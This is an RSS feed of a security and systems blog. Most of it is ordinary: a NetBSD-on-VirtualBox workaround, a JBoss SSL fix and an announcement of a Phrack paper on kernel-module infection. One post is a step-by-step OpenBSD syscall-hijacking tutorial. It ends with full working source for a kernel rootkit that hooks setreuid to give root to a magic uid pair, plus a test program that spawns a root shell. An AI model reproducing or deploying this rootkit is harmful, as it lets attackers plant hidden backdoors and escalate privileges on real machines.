<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>memset&#039;s blog</title>
	<atom:link href="http://memset.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://memset.wordpress.com</link>
	<description>Yet another computer science blog</description>
	<lastBuildDate>Sun, 12 May 2013 02:19:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='memset.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>memset&#039;s blog</title>
		<link>http://memset.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://memset.wordpress.com/osd.xml" title="memset&#039;s blog" />
	<atom:link rel='hub' href='http://memset.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Infecting loadable kernel modules: kernel versions 2.6.x/3.0.x</title>
		<link>http://memset.wordpress.com/2012/04/18/infecting-loadable-kernel-modules-kernel-versions-2-6-x3-0-x/</link>
		<comments>http://memset.wordpress.com/2012/04/18/infecting-loadable-kernel-modules-kernel-versions-2-6-x3-0-x/#comments</comments>
		<pubDate>Wed, 18 Apr 2012 15:32:29 +0000</pubDate>
		<dc:creator>styx^</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Operating Systems]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Solaris]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[exploitation]]></category>
		<category><![CDATA[infecting kernel module]]></category>
		<category><![CDATA[Kernel 2.6]]></category>

		<guid isPermaLink="false">http://memset.wordpress.com/?p=528</guid>
		<description><![CDATA[Hi. &#8220;Infecting loadable kernel modules: kernel versions 2.6.x/3.0.x&#8221; is the title of my last paper that has been published on phrack #68. You can read the paper here. Many thanks to: - blackb1rd (a phrack reviewer) who helped me in writing the paper. - All the phrack staff for publishing the paper. - emdel for [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=memset.wordpress.com&#038;blog=16429294&#038;post=528&#038;subd=memset&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Hi.<br />
&#8220;Infecting loadable kernel modules: kernel versions 2.6.x/3.0.x&#8221; is the title of my last paper that has been published on phrack #68. You can read the paper <a href="http://www.phrack.org/issues.html?issue=68&amp;id=11#article" target="_blank">here</a>.</p>
<p>Many thanks to:<br />
- blackb1rd (a phrack reviewer) who helped me in writing the paper.<br />
- All the phrack staff for publishing the paper.<br />
- emdel for &#8230; mmmh &#8230; Hi, emdel!</p>
<p>Any comments or suggestions would be (obviously) appreciated.<br />
Bye.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/memset.wordpress.com/528/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/memset.wordpress.com/528/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=memset.wordpress.com&#038;blog=16429294&#038;post=528&#038;subd=memset&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://memset.wordpress.com/2012/04/18/infecting-loadable-kernel-modules-kernel-versions-2-6-x3-0-x/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/595767eb938516c2c58ff9b8ebfaf7d9?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">memset</media:title>
		</media:content>
	</item>
		<item>
		<title>Syscall Hijacking: OpenBSD</title>
		<link>http://memset.wordpress.com/2011/11/26/syscall-hijacking-openbsd/</link>
		<comments>http://memset.wordpress.com/2011/11/26/syscall-hijacking-openbsd/#comments</comments>
		<pubDate>Sat, 26 Nov 2011 15:23:21 +0000</pubDate>
		<dc:creator>styx^</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[OpenBSD]]></category>
		<category><![CDATA[Operating Systems]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[hijacking]]></category>
		<category><![CDATA[Programming C]]></category>
		<category><![CDATA[Syscall]]></category>

		<guid isPermaLink="false">http://memset.wordpress.com/?p=501</guid>
		<description><![CDATA[Hi, in this post I show you how to hijack the system calls in the latest OpenBSD kernel versions. The way in which syscalls can be hijacked in OpenBSD kernel is very similar to that used in the Linux kernel 2.4 versions. The syscall table is exported and it is accessible by an external kernel [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=memset.wordpress.com&#038;blog=16429294&#038;post=501&#038;subd=memset&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Hi,<br />
in this post I show you how to hijack the system calls in the latest OpenBSD kernel versions.<br />
The way in which syscalls can be hijacked in OpenBSD kernel is very similar to that used in the Linux kernel 2.4 versions. The syscall table is exported and it is accessible by an external kernel module. So a syscall address can be overwritten by the address of an our function.<span id="more-501"></span></p>
<p>- An example of OpenBSD LKM</p>
<p>Fist of all, an example of OpenBDS LKM (&#8220;LKM_test.c&#8221;) follows:</p>
<pre class="brush: cpp; title: ; notranslate">
#include &lt;sys/param.h&gt;
#include &lt;sys/systm.h&gt;
#include &lt;sys/ioctl.h&gt;
#include &lt;sys/cdefs.h&gt;
#include &lt;sys/conf.h&gt;
#include &lt;sys/exec.h&gt;
#include &lt;sys/lkm.h&gt;
#include &lt;sys/proc.h&gt;
#include &lt;sys/kernel.h&gt;

MOD_MISC(&quot;LKM_test&quot;);

int LKM_test_lkmentry(struct lkm_table *, int, int);
int LKM_test_lkmload(struct lkm_table *, int);
int LKM_test_lkmunload(struct lkm_table *, int);
int LKM_test_lkmstat(struct lkm_table *, int);

int LKM_test_lkmload(struct lkm_table *lkmt, int cmd) {
	
	printf(&quot;Hello!\n&quot;);
	return 0;


}
int LKM_test_lkmunload(struct lkm_table *lkmt, int cmd) {

	printf(&quot;Goodbye\n&quot;);
	return 0;
}

int LKM_test_lkmstat(struct lkm_table *lkmt, int cmd) {

	printf(&quot;Here I am!\n&quot;);
	return 0;
}

int LKM_test_lkmentry(struct lkm_table *lkmt, int cmd, int ver) {

	DISPATCH(lkmt, cmd, ver, LKM_test_lkmload, LKM_test_lkmunload, LKM_test_lkmstat);

}
</pre>
<p>The behavior of this module is very simple: the LKM_test_lkmentry() function is the entry point function of the kernel module and it&#8217;s the first function invoked when the module is loaded in memory. In this function the DISPATCH() macro is called: this macro is defined in &#8220;sys/lkm.h&#8221;:</p>
<pre class="brush: cpp; title: ; notranslate">
...

#define DISPATCH(lkmtp,cmd,ver,load,unload,stat) do {
	if (ver != LKM_VERSION)
		return EINVAL;
	switch (cmd) {  
		int     error;
		case LKM_E_LOAD:
			lkmtp-&gt;private.lkm_any = (struct lkm_any *)&amp;_module;
			if ((error = load(lkmtp, cmd)) != 0)
				return error;
			break;   
		case LKM_E_UNLOAD:  
			if ((error = unload(lkmtp, cmd)) != 0) 
				return error;
			break;
		case LKM_E_STAT:
			if ((error = stat(lkmtp, cmd)) != 0)
				return error;
			break;
		}      
		
		return lkmdispatch(lkmtp, cmd);
} while (/* CONSTCOND */ 0)
	
...
</pre>
<p>The DISPATCH macro handles the loading (by the fourth argument), unloading (by the fifth argument) and querying (by the sixth argument) of the module.<br />
The module can be compiled running the &#8220;cc&#8221; command:</p>
<pre class="brush: bash; title: ; notranslate">
# cc -D_KERNEL -I/sys -c LKM_test.c
</pre>
<p>The module can be loaded, unloaded and queried via &#8220;modload&#8221;, &#8220;modunload&#8221; and &#8220;modstat&#8221; commands:</p>
<pre class="brush: bash; title: ; notranslate">
# modload LKM_test.o
Module loaded as ID 0
#
# modstat -n LKM_test
Type	Id   Off   Loadaddr   Size  Info       Rev    Module Name
MISC	0      0   d44ef000   0001  d44ef12c     2    LKM_test
#
# modunload -n LKM_test
#
# tail /var/log/messages
...
Oct 20 22:02:20 spaccio /bsd Hello!
Oct 20 22:02:20 spaccio /bsd DDB symbols added: 365344 bytes
Oct 20 22:03:47 spaccio /bsd Here I am!
Oct 20 22:04:20 spaccio /bsd Goodbye!
</pre>
<p>- System call in OpenBSD</p>
<p>The definition of the internal lkm structure for a syscall it&#8217;s defined in &#8220;sys/lkm.h&#8221; and it follows:</p>
<pre class="brush: cpp; title: ; notranslate">
struct lkm_syscall {
	MODTYPE         lkm_type;
	int             lkm_ver;
	char           *lkm_name;
	u_long          lkm_offset;     /* save/assign area */
	struct sysent  *lkm_sysent;
	struct sysent   lkm_oldent;     /* save area for unload */
};
</pre>
<p>The fields of this structure represent the type of module, the lkm version, the name of the module, the offset at which to place the system call inside the syscall table. Moreover it&#8217;s present a pointer to a &#8220;sysent&#8221; structure.<br />
This structure is defined in &#8220;sys/systm.h&#8221;:</p>
<pre class="brush: cpp; title: ; notranslate">
extern struct sysent {			/* system call table */
	short 		sy_narg		/* number of args */
	short 		sy_argsize;	/* total size of arguments */
	int 		sy_flags;
	sy_call_t 	*sy_call;	/* implementing function */
} sysent[];
</pre>
<p>The &#8220;sysent&#8221; array is the syscall table and it&#8217;s exported&#8230; ;-)<br />
The &#8220;lkm_syscall&#8221; struct will be initialised using the MOD_SYSCALL macro (defined in &#8220;sys/lkm.h&#8221;):</p>
<pre class="brush: cpp; title: ; notranslate">
#define MOD_SYSCALL(name,callslot,sysentp)      
	static struct lkm_syscall _module = {   
		LM_SYSCALL,
		LKM_VERSION,
		name,
		callslot,
		sysentp
	};
</pre>
<p>- System calls Hijacking</p>
<p>We have now all the informations we need to hijack a system call. The method I&#8217;ll show is similar to that used for hooking the syscalls in kernel 2.4 versions. As I said before, the &#8220;sysent&#8221; array is like the old &#8220;syscall_table&#8221; exported in Linux kernel 2.4. So, what we have to do is overwriting the syscall address of the interested syscall with that of our function inside the &#8220;sysent&#8221; array.<br />
Each syscall has an unique id-number defined in &#8220;sys/syscall.h&#8221; that represents also its position inside the system call table. If we want to hijack the (i.e.) &#8220;mkdir()&#8221; syscall, we have only to search the &#8220;mkdir&#8221; id-number inside in this header file:</p>
<pre class="brush: cpp; title: ; notranslate">

...
/* syscall: &quot;sendto&quot; ret: &quot;ssize_t&quot; args: &quot;int&quot; &quot;const void *&quot; &quot;size_t&quot; &quot;int&quot; &quot;const struct sockaddr *&quot; &quot;socklen_t&quot; */
#define SYS_sendto      133

/* syscall: &quot;shutdown&quot; ret: &quot;int&quot; args: &quot;int&quot; &quot;int&quot; */
#define SYS_shutdown    134

/* syscall: &quot;socketpair&quot; ret: &quot;int&quot; args: &quot;int&quot; &quot;int&quot; &quot;int&quot; &quot;int *&quot; */
#define SYS_socketpair  135
 
/* syscall: &quot;mkdir&quot; ret: &quot;int&quot; args: &quot;const char *&quot; &quot;mode_t&quot; */
#define SYS_mkdir       136
 
/* syscall: &quot;rmdir&quot; ret: &quot;int&quot; args: &quot;const char *&quot; */
#define SYS_rmdir       137
 
/* syscall: &quot;utimes&quot; ret: &quot;int&quot; args: &quot;const char *&quot; &quot;const struct timeval *&quot; */
#define SYS_utimes      138

...
</pre>
<p>The &#8220;mkdir&#8221; id-number is the number 136.<br />
The values contained inside the &#8220;sysent&#8221; structure are defined in the &#8220;init_sysent.c&#8221; file:</p>
<pre class="brush: cpp; title: ; notranslate">
struct sysent sysent[] = {
...
 { 2, s(struct sys_mkdir_args), 0,
  352             sys_mkdir }, 
...
</pre>
<p>According to the prototype of the &#8220;sysent&#8221; structure, the first field represents the number of arguments. The second arguments is the size of the &#8220;sys_mkdir_args&#8221; structure, that is the structure in which the &#8220;mkdir&#8221; arguments are defined. All the syscalls&#8217; arguments are defined inside the &#8220;sys/syscallargs.h&#8221; file:</p>
<pre class="brush: cpp; title: ; notranslate">
...

struct sys_mkdir_args {
	syscallarg(const char *) path;
	syscallarg(mode_t) mode;
};

...
</pre>
<p>The &#8220;mkdir&#8221; syscall accepts two arguments: the directory path and mode.<br />
The fourth argument of the &#8220;sysent&#8221; structure is a pointer to the implementing function &#8220;sys_mkdir()&#8221;. We can find the &#8220;sys_mkdir()&#8221; prototype inside the same file:</p>
<pre class="brush: cpp; title: ; notranslate">
int     sys_mkdir(struct proc *, void *, register_t *);
</pre>
<p>All the syscall functions take as arguments these three fields:</p>
<p>- a &#8220;struct proc&#8221; pointer: The structure that contains the informations about the process that it&#8217;s invoking the syscall.<br />
- a &#8220;void&#8221; pointer to the syscall&#8217;s arguments.<br />
- a &#8220;register_t&#8221; (it&#8217;s a simple integer) pointer to the syscall return value.</p>
<p>Now we have all the necessary informations we need to hijack the &#8220;mkdir&#8221; syscall.<br />
The &#8220;hijack.c&#8221; source code follows:</p>
<pre class="brush: cpp; title: ; notranslate">
#include &lt;sys/param.h&gt;
#include &lt;sys/systm.h&gt;
#include &lt;sys/ioctl.h&gt;
#include &lt;sys/cdefs.h&gt;
#include &lt;sys/conf.h&gt;
#include &lt;sys/mount.h&gt;
#include &lt;sys/exec.h&gt;
#include &lt;sys/lkm.h&gt;
#include &lt;sys/proc.h&gt;
#include &lt;sys/kernel.h&gt;
#include &lt;sys/syscallargs.h&gt;
#include &lt;sys/syscall.h&gt;

MOD_MISC(&quot;hijack&quot;);

int hijack_lkmentry(struct lkm_table *, int, int);
int hijack_lkmload(struct lkm_table *, int);
int hijack_lkmunload(struct lkm_table *, int);
int hijack_lkmstat(struct lkm_table *, int);

int (*mkdir_old)(struct proc *td, void *args, register_t *b);

int mkdir_new(struct proc *td, void *args, register_t *b) {

	struct sys_mkdir_args /* {
                 syscallarg(const char *) path;
                 syscallarg(mode_t) mode;
  	} */ *uap = args;
 
	printf(&quot;Mkdir hijacked -&gt; %s %x\n&quot;, uap-&gt;path, uap-&gt;mode);
	
	return (mkdir_old(td, args, b));
}

int hijack_lkmload(struct lkm_table *lkmt, int cmd) {

	mkdir_old = sysent[SYS_mkdir].sy_call;	
	sysent[SYS_mkdir].sy_call = (sy_call_t *) mkdir_new;
	
	printf(&quot;Hello!\n&quot;);
	
	return 0;


}
int hijack_lkmunload(struct lkm_table *lkmt, int cmd) {
	
	sysent[SYS_mkdir].sy_call = (sy_call_t *) mkdir_old;

	printf(&quot;Goodbye\n&quot;);
	
	return 0;

}

int hijack_lkmstat(struct lkm_table *lkmt, int cmd) {

	printf(&quot;Here I am!\n&quot;);
	return 0;

}

int hijack_lkmentry(struct lkm_table *lkmt, int cmd, int ver) {

	DISPATCH(lkmt, cmd, ver, hijack_lkmload, hijack_lkmunload, hijack_lkmstat);

}
</pre>
<p>We can compile (and load) this module and we can create a new &#8220;test&#8221; directory to check if the module works properly:</p>
<pre class="brush: bash; title: ; notranslate">
# cc -D_KERNEL -I/sys -c hijack.c
# modload hijack.o
Module loaded as ID 0
# mkdir test
# ls ./
test
# tail /var/log/messages
...
Oct 20 22:15:38 spaccio /bsd Hello!
Oct 20 22:15:38 spaccio /bsd DDB symbols added: 365344 bytes
Oct 20 22:16:10 spaccio /bsd Mkdir hijacked -&gt; test 1ed
</pre>
<p>Perfect! The directory has been created and the syscall has been hijacked as expected.<br />
Now we can write a more interesting kernel module.</p>
<p>- A very simple rootkit</p>
<p>Now I&#8217;ll show you how to change the process credentials through kernel modules. I use the same method shown in <a href="http://memset.wordpress.com/2010/12/28/syscall-hijacking-simple-rootkit-kernel-2-6-x/">this</a> post. Our rootkit will give us root credentials when we invoke a new shell with RUID == 3410 &amp;&amp; EUID == 0143. We only need to hijack the &#8220;setreuid&#8221; syscall and to check the ruid and euid correctness.<br />
As I wrote before, the first argument of each syscall function is a &#8220;struct proc&#8221; pointer that contains the informations about the process that it&#8217;s calling the syscall. So, we only need to change the credentials&#8217; values stored in this structure.<br />
This structure is defined in &#8220;sys/proc.h&#8221;:</p>
<pre class="brush: cpp; title: ; notranslate">
 struct process {

	struct  proc *ps_mainproc;
	struct  pcred *ps_cred;         /* Process owner's identity. */
	struct  plimit *ps_limit;       /* Process limits. */
 
	TAILQ_HEAD(,proc) ps_threads;   /* Threads in this process. */
	int     ps_refcnt;              /* Number of references. */
};
</pre>
<p>We are interested on the &#8220;pcred&#8221; structure. This structure contains all the informations about the process owner&#8217;s credentials. This struct is defined in the same file:</p>
<pre class="brush: cpp; title: ; notranslate">
struct  pcred {
	struct  ucred *pc_ucred;        /* Current credentials. */
	uid_t   p_ruid;                 /* Real user id. */
	uid_t   p_svuid;                /* Saved effective user id. */
	gid_t   p_rgid;                 /* Real group id. */
	gid_t   p_svgid;                /* Saved effective group id. */
	int     p_refcnt;               /* Number of references. */
};
</pre>
<p>The &#8220;ucred&#8221; structure is defined in the &#8220;sys/ucred.h&#8221; file:</p>
<pre class="brush: cpp; title: ; notranslate">
struct ucred {
	u_int   cr_ref;                 /* reference count */
	uid_t   cr_uid;                 /* effective user id */
	gid_t   cr_gid;                 /* effective group id */
	short   cr_ngroups;             /* number of groups */
	gid_t   cr_groups[NGROUPS];     /* groups */
};
</pre>
<p>We have to hijack the &#8220;setreuid&#8221; syscall and change these values.<br />
The rootkit kernel module (&#8220;rootkit.c&#8221;) follows:</p>
<pre class="brush: cpp; title: ; notranslate">
#include &lt;sys/param.h&gt;
#include &lt;sys/systm.h&gt;
#include &lt;sys/ioctl.h&gt;
#include &lt;sys/cdefs.h&gt;
#include &lt;sys/conf.h&gt;
#include &lt;sys/mount.h&gt;
#include &lt;sys/exec.h&gt;
#include &lt;sys/lkm.h&gt;
#include &lt;sys/proc.h&gt;
#include &lt;sys/kernel.h&gt;
#include &lt;sys/syscallargs.h&gt;
#include &lt;sys/syscall.h&gt;

MOD_MISC(&quot;rootkit&quot;);

int rootkit_lkmentry(struct lkm_table *, int, int);
int rootkit_lkmload(struct lkm_table *, int);
int rootkit_lkmunload(struct lkm_table *, int);
int rootkit_lkmstat(struct lkm_table *, int);

int (*setreuid_old)(struct proc *td, void *args, register_t *b);

int setreuid_new(struct proc *td, void *args, register_t *b) {

	struct sys_setreuid_args /* {
		syscallarg(uid_t) ruid;
		syscallarg(uid_t) euid;
	}*/ *uap = args;
	
	uid_t uid;
	uid_t ruid, euid;

	ruid = SCARG(uap, ruid);
	euid = SCARG(uap, euid);
 
	if ((ruid == 3410) &amp;&amp; (euid == 0143))   {
	
		td-&gt;p_cred-&gt;p_ruid = 0;
		td-&gt;p_cred-&gt;p_svuid = 0;
		td-&gt;p_cred-&gt;p_rgid = 0;
		td-&gt;p_cred-&gt;p_svgid = 0;
		
		td-&gt;p_cred-&gt;pc_ucred-&gt;cr_uid = 0;
		td-&gt;p_cred-&gt;pc_ucred-&gt;cr_gid = 0;
		
		ruid = 0;
		euid = 0;
		
		SCARG(uap, ruid) = ruid;
		SCARG(uap, euid) = euid;	
	}
	
	return (setreuid_old(td, args, b));
}

int rootkit_lkmload(struct lkm_table *lkmt, int cmd) {

	setreuid_old = sysent[SYS_setreuid].sy_call;	
	sysent[SYS_setreuid].sy_call = (sy_call_t *) setreuid_new;
	
	printf(&quot;Hello!\n&quot;);
	
	return 0;


}
int rootkit_lkmunload(struct lkm_table *lkmt, int cmd) {
	
	sysent[SYS_setreuid].sy_call = (sy_call_t *) setreuid_old;

	printf(&quot;Goodbye\n&quot;);
	
	return 0;

}

int rootkit_lkmstat(struct lkm_table *lkmt, int cmd) {

	printf(&quot;Here I am!\n&quot;);
	return 0;

}

int rootkit_lkmentry(struct lkm_table *lkmt, int cmd, int ver) {

	DISPATCH(lkmt, cmd, ver, rootkit_lkmload, rootkit_lkmunload, rootkit_lkmstat);

}
</pre>
<p>We can use the following script (&#8220;test.c&#8221;) to test the rootkit:</p>
<pre class="brush: cpp; title: ; notranslate">
#include &lt;stdio.h&gt;

int main () {

        setreuid (3410, 0143);
        system (&quot;/bin/sh&quot;);

        return 0;
}
</pre>
<p>Now we can compile and then load the kernel module:</p>
<pre class="brush: bash; title: ; notranslate">
# cc -D_KERNEL -I/sys -c rootkit.c
# modload rootkit.o
Module loaded as ID 0
</pre>
<p>Now, we can change user and we can test if the kernel module works properly:</p>
<pre class="brush: bash; title: ; notranslate">
# su - spaccio
$ ./test
# whoami
root
# exit
$ 
</pre>
<p>Great, it works! :-)<br />
Bye.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/memset.wordpress.com/501/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/memset.wordpress.com/501/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=memset.wordpress.com&#038;blog=16429294&#038;post=501&#038;subd=memset&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://memset.wordpress.com/2011/11/26/syscall-hijacking-openbsd/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/595767eb938516c2c58ff9b8ebfaf7d9?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">memset</media:title>
		</media:content>
	</item>
		<item>
		<title>How to install NetBSD on Linux Virtualbox</title>
		<link>http://memset.wordpress.com/2011/05/09/how-to-install-netbsd-on-linux-virtualbox/</link>
		<comments>http://memset.wordpress.com/2011/05/09/how-to-install-netbsd-on-linux-virtualbox/#comments</comments>
		<pubDate>Mon, 09 May 2011 18:31:45 +0000</pubDate>
		<dc:creator>styx^</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[NetBSD]]></category>
		<category><![CDATA[Operating Systems]]></category>
		<category><![CDATA[netbsd]]></category>
		<category><![CDATA[Virtualbox]]></category>

		<guid isPermaLink="false">http://memset.wordpress.com/?p=483</guid>
		<description><![CDATA[Hi. In this post I show you a workaround that allows you to install (and run) NetBSD on Linux Virtualbox. If you have tried to install NetBSD on Virtualbox probably the installation failed with an error like this: ... acpiacad0: AC adapter online. uvm_fault(0xc09e6a40, 0, 2) -&#62; 0xe fatal page fault in supervisor mode trap [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=memset.wordpress.com&#038;blog=16429294&#038;post=483&#038;subd=memset&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Hi. In this post I show you a workaround that allows you to install (and run) NetBSD on Linux Virtualbox.<br />
If you have tried to install NetBSD on Virtualbox probably the installation failed with an error like this:</p>
<pre>
...
acpiacad0: AC adapter online.
uvm_fault(0xc09e6a40, 0, 2) -&gt; 0xe
fatal page fault in supervisor mode
trap type 6 code 2 eip c0100d69 cs 8 eflags 10246 cr2 0 ilevel 0
kernel: supervisor trap page fault, code=0
Stopped in pid 0.15 (system) at netbsd:spllower+0x29:  addl %eax,0(%eax)
db{0}&gt;
</pre>
<p>The following workaround allows you to install and run NetBSD on Virtualbox. If the name of the NetBSD machine is &#8220;NetBSD&#8221;, you have to run this command in your shell:</p>
<pre class="brush: bash; title: ; notranslate">
$ vboxsdl --norawr0 --startvm NetBSD
</pre>
<p>That&#8217;s all!<br />
Bye bye.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/memset.wordpress.com/483/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/memset.wordpress.com/483/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=memset.wordpress.com&#038;blog=16429294&#038;post=483&#038;subd=memset&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://memset.wordpress.com/2011/05/09/how-to-install-netbsd-on-linux-virtualbox/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/595767eb938516c2c58ff9b8ebfaf7d9?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">memset</media:title>
		</media:content>
	</item>
		<item>
		<title>Enabling SSL on RedHat&#8217;s JBoss Enterprise Application Platform 5.1</title>
		<link>http://memset.wordpress.com/2011/04/12/enabling-ssl-on-redhats-jboss-enterprise-application-platform-5-1/</link>
		<comments>http://memset.wordpress.com/2011/04/12/enabling-ssl-on-redhats-jboss-enterprise-application-platform-5-1/#comments</comments>
		<pubDate>Tue, 12 Apr 2011 10:35:50 +0000</pubDate>
		<dc:creator>traktopel</dc:creator>
				<category><![CDATA[J2EE]]></category>
		<category><![CDATA[JBoss]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[Tomcat]]></category>
		<category><![CDATA[Application server]]></category>
		<category><![CDATA[Jboss]]></category>
		<category><![CDATA[Jsp]]></category>
		<category><![CDATA[Middlerware]]></category>
		<category><![CDATA[RedHat]]></category>

		<guid isPermaLink="false">http://memset.wordpress.com/?p=474</guid>
		<description><![CDATA[Hi folks, i&#8217;m writing this little note as &#8220;errata corrige&#8221;   of HTTPS Configuration  Chapter in RedHat JBoss EAP Installation Guide. If you follow the steps indicated there you will get a not working Tomcat&#8217;s istance: That&#8217;s because they are missing a step well explained in the Tomcat 6 SSL How To: Shortly Tomcat can [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=memset.wordpress.com&#038;blog=16429294&#038;post=474&#038;subd=memset&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Hi folks,</p>
<p>i&#8217;m writing this little note as &#8220;errata corrige&#8221;   of HTTPS Configuration  Chapter in <a href="http://docs.redhat.com/docs/en-US/JBoss_Enterprise_Portal_Platform/5.0/html/Installation_Guide/" target="_blank">RedHat JBoss EAP Installation Guide</a>. If you follow the steps indicated there you will get a not working Tomcat&#8217;s istance: That&#8217;s because they are missing a step well explained in the <a href="http://tomcat.apache.org/tomcat-6.0-doc/ssl-howto.html" target="_blank">Tomcat 6 SSL How To</a>:</p>
<p>Shortly Tomcat can use two SSL Engine:</p>
<ul>
<li>the JSSE implementation provided as part of the Java runtime (since 1.4)</li>
<li>the APR implementation, which uses the OpenSSL engine by default</li>
</ul>
<p>the RedHat guide shows you how to use java keytool, which can be used with the JSSE implementation, but the default tomcat configuration in JBoss EAP 5.1 uses the APR implementation, that&#8217;s means if you would use the keytool and the keystore as i suggest you, you should change this line in <strong>&lt;server-profile&gt;/deploy/jbossweb.sar/server.xml</strong></p>
<p><strong>&lt;Listener className=&#8221;org.apache.catalina.core.AprLifecycleListener&#8221; SSLEngine=&#8221;on&#8221; /&gt;</strong></p>
<p>with this line</p>
<p><strong>&lt;Listener className=&#8221;org.apache.coyote.http11.Http11NioProtocol&#8221; SSLEngine=&#8221;on&#8221; /&gt;</strong></p>
<p>for non-blocking ssl listener or with</p>
<p><strong>&lt;Listener className=&#8221;org.apache.coyote.http11.Http11Protocol&#8221; SSLEngine=&#8221;on&#8221; /&gt;</strong></p>
<p>to obtain a blocking ssl listener.</p>
<p>After that you can easily follow the redhat guide.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/memset.wordpress.com/474/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/memset.wordpress.com/474/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=memset.wordpress.com&#038;blog=16429294&#038;post=474&#038;subd=memset&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://memset.wordpress.com/2011/04/12/enabling-ssl-on-redhats-jboss-enterprise-application-platform-5-1/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/4885778581a84bbdc3df7059fcf0978a?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">traktopel</media:title>
		</media:content>
	</item>
		<item>
		<title>Syscall Hijacking: Dynamically obtain syscall table address (kernel 2.6.x) #2</title>
		<link>http://memset.wordpress.com/2011/03/18/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x-2/</link>
		<comments>http://memset.wordpress.com/2011/03/18/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x-2/#comments</comments>
		<pubDate>Fri, 18 Mar 2011 13:07:30 +0000</pubDate>
		<dc:creator>styx^</dc:creator>
				<category><![CDATA[C/C++]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Operating Systems]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[hijacking]]></category>
		<category><![CDATA[Kernel 2.6]]></category>
		<category><![CDATA[Programming C]]></category>
		<category><![CDATA[Syscall]]></category>

		<guid isPermaLink="false">http://memset.wordpress.com/?p=454</guid>
		<description><![CDATA[Hi. In this brief post I&#8217;ll show you another way to get the syscall table address dinamically. This post is only an expansion of this one. The idea is very trivial: we can find this address by a brute-force scan on the kernel reserved memory, in order to find the syscall table address. The kernel [&#8230;]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=memset.wordpress.com&#038;blog=16429294&#038;post=454&#038;subd=memset&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Hi. In this brief post I&#8217;ll show you another way to get the syscall table address dinamically.<br />
This post is only an expansion of <a href="http://memset.wordpress.com/2011/01/20/syscall-hijacking-dynamically-obtain-syscall-table-address-kernel-2-6-x/">this</a> one.<span id="more-454"></span><br />
